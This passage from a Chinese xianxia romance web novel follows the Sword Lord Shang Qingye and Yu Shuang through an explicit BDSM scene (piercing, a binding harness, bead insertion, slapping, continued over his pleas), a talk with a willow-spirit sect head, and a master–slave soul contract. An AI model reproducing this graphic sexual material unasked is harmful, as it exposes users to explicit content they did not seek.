针尖抵紧,再用力一合,刺针直接贯破,带来一阵锋利的痛和锐到极致的爽快。
商卿夜控制不住地哼了一声,窄腰轻颤,俞霜摸过来,手指轻轻捻了捻,圆环已可以顺畅转动,坠着几根细而摇颤的流苏,红翠相映,艳得鲜活。
“好看。”
明明没有外人,她说话声音放得很低:“……好看。”
姑娘坐在剑修腿上,两人距离近到可以鼻尖贴鼻尖,他把自己送到她眼前,另一枚圆环塞进她手里:“你来。”
这是惩罚,这是惩罚。
俞霜觉得脑袋晕晕乎乎的,好像灵魂稍稍脱离身体、飘飘荡荡地浮在外头,拿着圆环的自己变得不是自己,一团绵绵软软逆来顺受的性子好像多了一根手里的尖刺。
指尖被黏在凸红处,红肉下方裂了一条血口,嫣红嫣红,煞是好看。指甲再刮一下周围,他就叹出低沉又破碎的气音。
真好看,真好……
尖刺一瞬扎进肉里,直直刺穿,与另一头相连。因为颤得太厉害了,她不得不压着他的腰,肩头一重,是商卿夜撑不住身体、把下巴搁在她颈窝里。
脸颊被鸦羽似的睫毛蹭过,留下一线湿润的水汽。
剑尊好像哭了,但俞霜莫名觉得,那并不是悲伤痛苦的泪水。不,可能也是痛苦吧,她不太懂的那种痛苦。
停了一下,姑娘不太舒服地动一动,眼神很是迷茫。剑尊噙住她的唇,黏黏乎乎的,用舌尖抹她的唇瓣、钻进去,灵活地勾她的舌。
“不许碰我。”
一边命令,俞霜一边抓住一束流苏,拽着宝石往下一扯。
他这回真哭了,泪水涟涟而下,□□几乎要把媚骨点着了,腰无力地往后软。金索剩下的层次没抖开,都堆在小腹上,连着银铃,乱七八糟的,倒也不难看,像金子盖住了一捧雪。
“俞霜……”他好悬挤出一丝泣音,“求求你,别磨我了。”
她一紧张就不停舔嘴唇,趴在他胸口:“……不行,要好好惩罚坏蛋。”
“接下去怎么玩?”
“怎么玩,剑尊你说啊。”
他像死鱼一样平躺着,俞霜推他几下,没有反应,顿时急了,作势要咬他。商卿夜真怕了,一巴掌推开她,快手快脚地把金索抻开,两枚手镯、两枚脚环,扣到该去的位置。
这碧金销魂索并非干楞楞一条金索,倒像一件金丝镂空的衣服,可以“穿”在身上。从项圈到四肢,牵出细细几条流光溢彩的金链,胸前坠饰较多,往下几缕金丝分成两股,交错着绕到腰后,点缀几片纯白凤羽,半遮半掩着臀后。
俞霜一瞬不瞬盯着他,看他破罐子破摔穿戴整齐。这碧金销魂索还有一项极险恶的功用,那些金环圆镯一碰到温热的血肉,就会死死扣入手腕脚腕。
剑尊的脖颈四肢都已被紧紧锁住,长睫含露,眼泪止不住。若不是心智坚强到极点,早就跪在姑娘面前,泣涕哀求了。
“……还有这个呢?这个是什么?为什么里面包着铃
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铛?”俞霜眼睛急急地盯着他,眼中半是疑惑,半是她自己也不明白的渴望。
商卿夜张了张口,面颊复又透红,狠了心,解释道:“……这叫缅珠,听过么?”
她摇摇头,又点点头:“没听过,但我知道怎么玩。”
说罢,姑娘拽了一下他腰间的金索。四肢脖颈要害全圈与环间,“束”势已成,碧金销魂索牵一发而动全身,她这么一拉,本来就心火焚身的商卿夜直接伏在榻上,咬牙叹出一声低泣。
俞霜顺着剑尊流畅紧实的腰线往下轻拢。
滴滴答答淌水之处,早已满溢情/潮了。
“……是放进这里面的。”
没有回应,她自己对自己点点头,怎么说就怎么做,言行合一。
缅珠薄而镂空,边缘磨得圆滑,但在潮热柔软之地穿行,便仿若残忍的刑具,顺着溜薄的缝隙往前撕扯。
姑娘心里是没有数的,一股脑就使劲推,也不管人受不受得住。
商卿夜鬓发全汗透了,眼神涣散,一点舌尖抵在唇外,两条腿因脱力而瘫软,一根手指都移动不得。
俞霜以研究修炼心法的认真程度钻研该怎么把最后两颗塞进去,像在泥泞里行进,手感艰涩,只能很慢很慢地向前磨。
“饶了我……这样不成的……”
商卿夜牙关紧咬,姑娘把手摸着鼓出些弧度的小腹,心想他说饶了他的时候其实是还可以继续的。
不知被碾过哪里,剑尊深泣一声,喉咙间迸出些模模糊糊的呻.吟,脚趾蜷起,抽搐着泪流满面。
“别、别求你……”
商卿夜勉强回头,看到姑娘抬了抬眼皮,心下划过一丝恐惧。突然间,俞霜手一抽,艰难咽进的所有又要一口气全部吐出来——
“呜啊啊啊!”
这么一扯,刷的一下,伴随清越悦耳的叮当声的是一团软腻烂熟的胭脂色。
他在不知是什么的反应中战栗不休,眼尾晕红一片,浑身上下都泛着清艳的欲光,湿漉漉水蒙蒙,脸上洇的泪痕就没干过。
“哈、混蛋……你别过来……”他撑起身体往前爬着要躲,手和腿软得根本支不住,牵动金索,浑身上下都被勒了一遍,一时痛不欲生。
被骂了。俞霜鼓起脸,把人按住翻到正面,朝肿得不能看的地方扇了一巴掌,反手拍向另一个。
“不许骂我,不许……不许欺负我!”
“啊……哈啊、又又,我知错了……呜……”
身体每一根血管都被揉得瘫软如泥、完全打开了,带给人一种近似濒死的失控感。
“我,我不舒服……我也要。”俞霜不知自己是怎么了,喃喃问道。
商卿夜缓了口气,抬起眼皮:“……你进来就舒服了。”
“不要那种舒服……那种虽然也行……”姑娘小声地嘟囔着,“喂,你知不知道啊。”
她颦着眉,满脸通红,松垮垮的衣襟被扯着,被剑尊抓着啃了一口。
“……你要我与你那样?”他比划了一下,“如你对我做的一样?”
“那样……那样也不要。”俞霜记起来,还在上辈子的时候,许多没能掌握异能的女人被按在地上随意地对待。
有些人死了,有些生不如死,有些分外倒霉的、肚子慢慢鼓起来,身体里仅剩不多的营养被慢慢汲取走,最后生生饿死了。
漫长的、痛苦而又压抑的记忆海潮般涌现,她揉了揉眼睛,身体微微的颤抖,手不自觉抓住自己的头发,像是要把自己环起来、躲进一个没人看得见的角落。
原来她那时候是痛苦的。原来光是看着别人,也会那样痛苦。原来这叫痛苦。
“又又……又又。”
商卿夜抱住她。流苏和宝石有些硌,所以他很快放手,吻着眼睑,拭去下面的泪珠。“别哭了,不那样也会很舒服。”
“……要怎么舒服?”
他的耳根像红玉一样:“……别问了,你……你享受便是。”
24.第二十四章
她以前应该是完全没经验的。
美人榻不高,剑尊跪在床下,觉得两人的情况大致相像——见过猪跑,但没吃过猪肉。
俞霜见过身边的糟烂事,商卿夜则是从话本和攻略者的记忆中窥见。
但天生就有劣根性的男人总是更占优势。就如那碧金销魂索,原本是原著“主角攻”用在仙尊身上的刑枷,功用繁复,放在姑娘手里,是断然闹不明白的,可剑修寻来,也不过费了一时半刻就钻研透彻。
他撑起身子,先与她唇舌交缠片刻;舌尖往下流连,轻吻姑娘白皙柔软的脖颈,向下落到锁骨。
“……好痒。”
她的眼睛微微眯缝起来,如同被顺着毛的幼猫,软绵绵地呼噜两声。
他轻轻用唇舌慢而柔地安慰她,手绕到腰后,沿着脊椎缓慢地揉捏,一点一点往下,捏了捏肚子凸起的一圈软肉。
“唔,不许捏我的肉……”
俞霜小小声抗议,又被揉得很舒服,就要软软地往后倒。
他把手给她垫到腰后,用指尖拭了一下密林幽暗处,接着亲在她小肚子上,唇瓣慢慢磨蹭。
姑娘低低叹息一声,被他吻过的地方,竟似一团内里的火从皮肤下烧将出来,把她的脸都灼红了。
俞霜抬脚踩在剑尊肩膀上,力道简直比猫还弱,被攥住脚腕,咬一口,多了一圈深红牙印。
“……你咬我,你居然咬我……呜呜……”
俞霜想踹他,当即侧了个身,胳膊微有些汗,一滑,往下面坐了过去。
商卿夜一动没动——简直像天上掉了个香喷喷软乎乎的馅饼,很是享受地把脸埋进去。
舌挽樱桃结,他私下里是偷偷练过的,舌尖蛇一样纠缠厮磨。
俞霜脑中还迷糊不满着,气息就不受控地急了起来,一霎的禁不住,商卿夜就尝到一缕莹明。
一声声全是水的腻音。
俞霜眯着眼往上看,只见光影重重,像是晕了,又像极清醒,一股异样的慵懒酸胀在体内聚合、收缩,膨胀……
“呜……”
姑娘缩了一下,脚尖绷直了,轻轻的一声却点燃一脸绯红,前额鬓角浸出薄汗。
“高兴吗?”
他撑住她再抬起脸——嘴唇红而湿润,连眼睫都是湿漉漉的。
她的腰软得抬不起来,脚尖拨了一下他肩膀处缠绕的金索。
剑修闷哼一声,拔起身体,侧躺着搂住她。俞霜拱进他怀里,微汗的臂绕过他的脖颈,整个人腻缠过去。
她本以为……本以为这种事都是痛的、难过的,被逼无奈的,被伏在身上胡撞,最后死了一般,爬不起来。
姑娘默默感受了一下自己,然后脸更红了红,往他胸膛里躲。
她高兴么?当然是高兴的,说不好与化春决幻化出来的灵力哪个更快活些,只是两者的意义好像也不尽相同。
至于哪里不同,她好像也说不出来。只是他这样对她,多了些更亲密、更腻软的情意。
白日闹了这么久,俞霜上下眼皮不停打架,还不忘吸两口甜汁。
“……小坏蛋。”
额头被亲了一口,姑娘拿头顶回去,表示不满这个评价,身体却很诚实,八爪鱼似的紧紧抱住剑修。
她就像一只在食物链底端的、小小的幼兽,天上忽然掉下免费午餐,获得一只大大的猎物,本能地撕开猎物柔软富有营养的腹腔,吃得又撑又累,埋在鲜美可口的血肉中,就睡去了。
商卿夜将她汗湿的额发撩到耳后,手勾来一条丝衾盖好,灵力一吐,柔和地浸入俞霜几条大脉,包住丹田气海,替她祛除元婴周围围绕的魔气。
他支手抵颔,撑在她睡颜旁边看。
姑娘因疲惫和快活沉沉睡去,不知怎地,竟让他觉出一种奇怪的得意,轻轻悬在心里的什么落了地——总不能只当被作弄的人,如今两心相印,再没有比这更畅快的事情了。
如此过了半个时辰,他把睡着睡着又背朝上趴着的姑娘半抱在怀里,舔吻她微微泛白的唇,撬开齿关,搅乱她的呼吸。
“唔……唔……不要烦我……”俞霜想翻出去图个清静,却被捏了一下腰间软肉,一下子睁大眼睛,“你干嘛!”
剑修眼里隐隐含笑:“大正午的,可不能再睡了,起来吃药。”
俞霜眼看着萎靡几分:“吃药……吃药啊,药真的太苦了。”
补身子的、蕴元婴的药本来就很苦,她一连喝了三个月药汤,好容易从虚不受补进步到能承受灵丹的强度,谁知一次替伤,又被打回原形。
这回药力加强,必须添加缓和的药物,原本就难喝,居然还能苦辣得更进一步。
但她不是不知好赖的人:“唉,我吃药。药呢?”
商卿夜微微一笑:“还没熬。”
俞霜:……
“没熬你把我叫起来干什么!你又欺负我!”
“我没有,真的没有,哪敢再欺负你。”他把她抱得很紧,“睡太久并不好。”
顿了顿,商卿夜额头贴着她的额头,软声道:“……又又,今天的赔罪还没结束呢。”
俞霜津了津鼻子,怀疑地看着他:“唔,那好吧。还有什么?”
他一时竟舍不得分开,抱了她一会,才慢慢松开手,滑下美人榻。
身上还穿着碧金销魂索,一动,宝石与流苏相撞、银铃轻晃,一齐泠泠作响。
宝石和流苏都挺有质量,坠得金环扣着茱萸,肿得绮靡。脖颈和四肢的尖刺扎得越来越深,若拆开来就能看见星星点点的血痕。
商卿夜从戒指里抽出一件外袍披上,也不穿鞋,赤脚往门口走了两步。
嗯?好像有什么不一样。
迟钝如俞霜也感觉出来了。哪里不一样呢?是了,她从未见过他衣白。
剑尊披着一袭素色衣袍,银色暗纹如流水,随着衣摆动摇而轻晃,仿佛被澄明月光仔细织就。
襟敞袖宽,身形轻移,衣袂翩然。
他又抽出一条三指宽的锦带,往腰间一束,回头看她。俊美的面孔棱角分明,肤色白得近乎透明,乌黑深邃的眼眸好似寒潭,氤氲着清冷如霜雪的气息。
姑娘看呆了,剑尊又走过来,居高临下,神情淡漠,极像九天之上俯视众生的仙。
但是……这袍子好薄啊,透着肉色,肌肤上贴着的金索宝石若隐若现,两点烂红犹抱琵琶半遮面。
俞霜努力理解这件衣服,细眉紧皱,半晌没作声,一抬头,正见商卿夜逆着窗光盯着自己,眼里的神情半笑不笑:“想什么呢?”
“剑尊好看。”她忙夸一句,接着嘴唇嗫嚅两下,低声道,“你,你要穿这个出去吗?”
商卿夜含义不明地“嗯”了一声。
俞霜抿唇,憋了憋,忍不住:“不……”
“不什么?”
“不穿这个嘛。”
他
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眉头一挑:“不好看?”
“好看……”她瘪了一下嘴,“就是……就是我觉得你不要穿出去。”
“我也不知道为什么这么想……”
剑修忽地笑了,半跪下来,去握她的手:“傻子,只穿给你看的,怎么可能给别人瞧?你不是喜欢看我使剑么,我穿这个给你舞剑,你乖乖等着喝药,好不好?”
听了这句话,俞霜心里那股似是烦闷似是愤怒的悻悻之味一扫而空:“真的呀?我要看!”
商卿夜便使信托人熬药,先施了结界,再提度厄剑,领着俞霜到院门前的空场。
最初穿上这薄如蝉翼的素衣不绝如何,等站到天光底下,施展开平日练剑的架势,被姑娘看着,惯常的挺立之姿,突然被一阵酥麻之意弄得遍体发软。
那碧金销魂索更是分外险恶,四肢每舒展一分、金索就收紧一分,欲望如同春水满涨,涨得他手脚发软、潮红漫身。
商卿夜觉得自己也是昏了头,竟然去话本里“取经”,寻了金索与这薄到近乎透明、连御寒功能也无的幻纱衣,还当什么剑修,索性去合欢宗当一个炉鼎好了。
“剑尊。”
俞霜仔细地盯着他,像看到最合心意的奶糕,舔了舔嘴唇。
“你快动啊。”
他身体一颤,强装出一副淡漠表情的脸上,泛起一种病态的嫣红,仿佛浓花深径处燃起的艳火,正在焚烧着冰雪铸成的肉/体与灵魂。
练就……练。
商卿夜抓着度厄,往常如半身似的宝剑忽有千钧重。可第一式剑招击出,惊鸿间,银芒乍现,他便把一切杂念都抛却了。
步随意动,素白衣袂银光流转,翻飞飘舞;赤足点地,剑气腾遥,骤然风起,似要踏云飞仙。
他练得并非与寂灭道有关的剑法,只是一寻常《青莲灵犀剑法》,但剑尊天生剑骨,悟性与自律远超常人,天下剑法几乎已被他练遍了。
哪怕使得是这舞乐大于制敌的剑招,几步下来,行云流水,“青莲灵犀”的清远深美之意与金戈之气融为一体,行来翩若惊鸿、婉若游龙。
剑气四溢,偏偏被完美地控制在周身寸许,只扫起些落叶花瓣,随着剑气飘扬到空中,又纷纷扬扬地从空中落下。
俞霜已看呆了,目不转睛,又听银铃声声悦耳,透薄的白衣在胸口处洇出两点淡粉,半遮半掩着内中金光翠色。
莲心剑骨,孤岭之巅,遗世独立,这才是构成寂雪剑尊的东西,而不是变成话本里的模样。
他拿起剑的时候,除却死亡,再不会主动放开。总有些更大、更高远,更广阔的事物在等着他。
她模模糊糊地想:自己又有什么资格冲他耍脾气、令他放开剑呢?
清冷雪气拂面而来,商卿夜将度厄搁在一旁,单膝跪地,眼里露出一种纯粹的、近乎脆弱的茫然。
“又又。”他问。“你为什么不开心?还在怪我么?我决不会再负你,你……你要如何才肯信我?我什么都愿意做。”
俞霜心里一酸,像吃了个青硬硬的杏子,一下扑进他怀里:“我已经没有再生气了,已经没有了!我不要剑尊什么都愿意做!我不要!你把这个脱了……脱了!”
商卿夜似懂非懂,隐隐约约察觉到什么,又不能确定,只好依言抱着她,回屋摘掉一身金器,换了平常的衣裳。再问,俞霜已平静下来,摇摇头。
自己都摸不清的心,又如何能传达出去呢?
25.第二十五章
人的爱恨树妖不能理解。好不容易忙完进阶大典的树妖只想睡觉。
以上,是逃到镇魔书院下辖的悦林镇、掩了气息在一书局做寻常文人,也躲不过被老友揪出来絮叨心事的掌门道尊的真实心声。
“……唉呀,你就放过我罢,我就是一棵饮天露吃地气的柳树,怀胎都是感召而孕,我知道什么呀我。”
凃玥睁着一双死鱼眼趴在桌子上,都不想往商卿夜的方向看:“我刚得了一笔润笔费,还想去买点隔壁豆腐西施点的甜豆花,你倒好,把我的兴致都给搅没了。”
剑修:……
“就你这幅死样子,居然能在镇派掌门的位子上坐这么久。”
商卿夜感到匪夷所思。
知晓两人有矛盾,凃玥一点都不意外,毕竟老友就是个除了剑道外什么都很少思考的典型剑修,尤其最近,烦难事频频缠身,要让他去理解所爱之人的心思,实在是强人所难。
“你想知道我为何能稳坐掌门之位?”凃玥换了个姿势,支颔而坐。“因为亲近之人从不需猜我的心思。若无杂念,便无事不可与人说。”
“我们妖族一向率真,化形前不过飞禽走兽,化形后心思也未必多深,总不过是抢地盘、争配偶的直白事。踏上道途,要么吃人成魔,要么向善修仙,夭于仙途,就成一抔黄土,不会去求什么名垂青史、也不谈功过成就。”
“柳树本无性别之分,少生爱欲,但我活了千数年,也并非没有遇到过心动之时。可回过头来躬问己身,那一朝心动,当真值得我抛却‘己’抛却’无性之性‘之法道,纳另一人进入我的心念圆满?”
凃玥甚少与人谈道,一时扯远了些,连忙回返:“这是我坚持的’本我‘之道,并非你的道。只是我清楚我的道,你又真的清楚么?除了寂灭道基,你还身负合欢道基,这是古往今来从未有过的稀罕事。你在剑道上已练至极致,但正如一阴一阳需得平衡相融,一味压制合欢道基,绝非圆满之策。”
商卿夜默然不语,半晌才道:“……那豆腐西施的甜豆花好吃么?你觉得俞霜可会喜欢?”
凃玥抽了一口气,抬起手,指着他的鼻子颤巍巍道:“你、你……好样的……”
青竹道尊一口气倒不过来,简直快要撅过去了。
剑修当即一笑:“我知你意,多谢。”
凃玥本来就是装相,闻言把商卿夜细盯一眼,也笑了:“我怎么也想不到,仙尊竟也有这种时候。”
*自古情之一字,不知所起,不知所栖。不知所结,不知所解。不知所踪,不知所终。她已决定将其抛却,听着好似有一丝无奈清苦,旁人不解,她却自得其乐。但放到仙尊身上,既已浸入情/欲,便无法回转,只能尽力求解。
若解不开,道途有碍,心亦困于囹圄。
“俞姑娘单纯无知,可绝不愚蠢,赤子之眼,最是看得透一切。”凃玥低言自语。“你已负她一次,若要挽回,可难了。”
“……不仅是难。”商卿夜抬眼,“简直是束手无策。伤了她,我也疼得不行,倒是从未有过的感受,居然还觉得苦中泛甜。”
凃玥:……
你是不是有受虐癖啊,柳树摇头.jpg。
“看你这样,已是想好解决之法了?”凃玥问。
“嗯。若还是不行,我就剖出心给她抵罢。”
青竹道尊觉得他玩得好大,不免起了兴头:“道侣大典不开,迟迟不给人名分,犹犹豫豫拖了这么久,你怎么突然干脆了?”
商卿夜深深吸了一口气:“小辈指着我鼻子骂,怎么连你也这么说?我只是不愿天道知晓,不是不给名分……罢了,总之都是我不对。”
“我早该想到的,俞霜她……这么久了,她还未笑过一次。我不曾令她开怀,还惹得人总是哭。”
凃玥:“……男人啊,啧啧啧。”
天上的光景已经进暮,清风拂过,蕴阳湖湖面泛着层层涟漪,金波荡漾,映着西斜落日。湖景极好,凃玥看多久都看不腻。天啊,地啊,水啊,有这些,她便已满足了,又何苦踏入红尘,披一身熙熙攘攘,落一个不得甚解呢?
“得了,反正进阶大典已成,若再起什么风波,镇魔书院还能挡个一时半刻。”青竹挥挥手,作势赶人,“仙尊先做该做之事罢。”
“多谢。”商卿夜真心道。
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回到小院,俞霜不在,商卿夜等了半刻,等到一个汗淋淋御剑归来的姑娘。
天边最后一抹橙晖匀粉儿似的洒在她的发与脸上,与皮肤红润的本色交相呼应,看得他心头只生欢愉。
“我今日挥了一百五十六次剑,比之前多了不少。”
她跳下来,有些骄傲地收了含绯,脸一扬,剑修就知机上前给她擦汗:“又又真厉害。”
“大师姐也夸我呢。”
他看了看她变得干爽的额头,又摸了摸后背,转进一点灵力,给她弥补空虚的丹田:“魔气尚未完全驱除,别太累着了。”
“什么时候能驱除啊,大师姐已经在教我第二套剑法了,我想多学点……”
商卿夜伸指一刮她脸:“择日不如撞日?”
“啊?”
“就今天。现在马上。”
俞霜的眼睛一下子变得亮晶晶的:“真的呀?”
“谁还敢骗你不成?我是再不敢了。”
姑娘脸一垮,找他的小指,拽住晃来晃去:“我,我已经不记得那件事了,剑尊也道歉了。你怎么总提呀?没有不信你,剑尊……”
商卿夜任由她晃,笑眯眯地:“好了,你先跟我进来。”
进了屋,姑娘换了宽松的衣裳,喝药吃甜杏脯,剑修按往常一样给她调理内息驱散魔气。待再检过一遍,确认她经脉已差不多回复替伤前的状态,商卿夜指尖聚了些灵力,在她掌心画了一朵赤色牡丹。
俞霜觉得掌心痒痒的,还很是温暖:“剑尊在做什么呀。”
“这是太衍合魂契。”他低声道。“又又,我问了你兰师姐与易师兄,关于道侣,是我对不住你,未提前和你说清楚。道侣大典,除让宗门世人见证结契二人真心承诺外,还伴随天地规则的认证。但我深恨天道,与之相对数百年,不愿让它见证,它更不配见证。”
俞霜呆呆地看着他认真的容色,慢慢道:“所以这个……”
商卿夜轻笑:“来,让你的灵力跟着我的灵力走,随我一起念。”
以道为鉴,以剑为盟。承万载太衍之法,立此合魂之契。同心同念,共步修途……
姑娘依言而做,只觉手心更热,似乎有无数条看不见的丝线自手中牡丹升起,将两人缠绕在内。
“接下来,你只要将这印记印在我身上,我再选一处印在你身上,合契便成,与结道侣是一样的。”
俞霜一双眼里满是茫然混乱,一股过于欢喜的情绪涌出来,反而被埋在心中,只嗫嚅问:“剑尊……安归,我真的可以和你结道侣吗?”
“不然呢?”他凑过去,亲了亲她的鼻尖,“这本就是我该做的。还是,你想看我和谁结道侣?”
“我不要!”她大声叫出来,伸手掀开他的衣袍,把手按在剑尊左腰。
印成,冥冥之中,俞霜忽然理解了“太衍合魂契”的本质作用。
一为御主,一为契奴,气运共享,灵力同源,境界共进;生死之险,危难共感。若契奴背叛,天道夺命;若此契破裂,魂魄永劫。
她为御主,剑尊为契奴。
她有了这印,便能操控媚骨,享合欢炉鼎,纳承命之人气运为己所用。御主想要契奴做什么,契奴就必须做什么。即便是贵为敛真、不可亵玩的剑尊,受了这印,哪怕是不会动用灵力的小儿,也能让他沦为淫靡不堪的奴隶。
这一行为已完全超乎俞霜的想象,她一时呆滞不能动,商卿夜还有闲情逸致,剥橘子皮似的剥开姑娘的衣服,在胸口一线白痕处落了一个吻。
吻落,疤痕不见,只留一朵开得荼蘼绝艳的绯色牡丹。
俞霜一把推开他,站到地上,浑身
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颤抖。
“你……你!”
她眼前一阵一阵发昏,俞霜知道自己受了内伤,平常应避免心绪起伏过大,免得气血翻涌,为经脉雪上加霜。可不知是不是因为这些日子剑尊给她保养得太好了,哪怕她感觉自己要晕过去,身体也顽强地挺住了。
身体挺住了,但心灵没有,俞霜平生第一次,理解了什么叫“悲凉”。
“你为什么不懂?你为什么不懂?我不要你当奴隶,我只想看你练剑!我……都说了我不要为什么你还这样!”
她又气又苦,扭过头去不想看他,眼泪直往下掉。
商卿夜把姑娘抱回来,生受了她两巴掌。这回打得准,狠狠拍在脸颊上,劲道太大,束发玉环都松了,落了几缕发丝在颊侧。
他没有躲甚至表情也没有变,只是用力把她按进胸膛,语气淡而缓。
“又又,你知道吗,这阵子你半夜总是哭。”
俞霜愣住了,本来挣扎的动作也停了下来。
“以前你夜里休息,睡着睡着便会蹭到我怀里。现在倒好,我抱着你,你总会跑到旁边自己趴着。我知道我伤着你了,如今发誓也没有用,信任一朝丢失,便再难找回。我本来该是知道得最清楚的。”
她咬住唇,泪涌得更急一分:“……我不是,我没有!”
接着,她听到商卿夜意味不明地笑了一声。一只手搭在她后心,传入一股浑厚温热的灵力,徐徐在经脉中游转。
几乎一瞬间,她就感受到一种前所未有的舒适,他的灵力就好似她自己的灵力,畅通无滞,心心相感。
环绕在元婴周遭的魔气被一牵一引,顺着元窍慢慢流入剑尊体内。原本废了好大功夫才能驱散一二的魔气,就这么简简单单地被他吞噬干净。
“这太衍合魂契,就是话本里攻略者对仙尊施用夺其气运的。我早该给你,只是一直不敢。之前我一直在怕,四百年来,无人可信,所以我害怕,若你是天道埋在我身边的棋子该如何是好。害怕你对我的真心,其实是攻略者的手段该怎么办。媚骨对炼化者的谄媚渴望已是本能,我不得不日日压抑着本能,怕其吞没道心剑骨。”
商卿夜按着她的头,不令她看见自己的表情。
“可……夜里你说梦话,说你害怕,你说你什么都没有,你问我为什么欺负你。俞霜,我不想再让你怕了。合魂主奴契,还有我不敢坦诚的心思,比起你梦中流的眼泪,也不是那么值得畏惧。”
带着颤抖的话音落下,飘进俞霜耳里的刹那间,她突然就好似大梦初醒、明灯乍现。
过往的一切,本是零碎迷离的片段,此刻却如断线珍珠重新串联,所有曾困扰压抑的疑问与矛盾都化作流水般通透。
“我……什么都没有?”她撑起身体,麻木地看着自己的双手。“我、我什么都没有。别人有爸爸妈妈,我是孤儿。我本来有学上,但是末世来了,就没有了。别人有好朋友,有妻子丈夫情人,我、我也没有。我,我为什么什么都没有?”
“为什么?我很听话的,为什么就我没有!”她搂住他的脖子,像渴水之人扑入一方甘泉,嚎啕大哭。
商卿夜攥起手指,双眼赤红,声音却更加柔和:“又又,你现在有我。”
“我并不是要你把我当一个物品、一个奴隶,那是在辱你。但我有媚骨,是最好的炉鼎,结契之后,可以替你洗经伐髓,重塑灵根……除我之外,你还可以拥有你的剑,你的道。
自此之后,但凡你握住的,连天道都不能夺走,因为你与我共为承命之人。”
俞霜把自己哭得头昏脑涨,但商卿夜说的话,一字一句,全都听了个清楚明晰。
听得越清楚,她就越想哭,哭得停不下来。
“……那为什么,剑尊为什么对我这么好?我什么都没做……”
“谁说你什么都没做?”商卿夜垂眸看她,眼中如静水流深。“你给了我一个机会,一个数次轮回都求而不得的契机。而我……我爱你,哪怕你还不懂,爱么,就是多少有些疯狂的。”